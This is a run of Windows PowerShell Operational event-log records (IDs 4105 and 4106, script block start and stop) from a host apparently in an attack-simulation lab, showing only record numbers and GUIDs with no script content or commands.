410515102150x0673411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 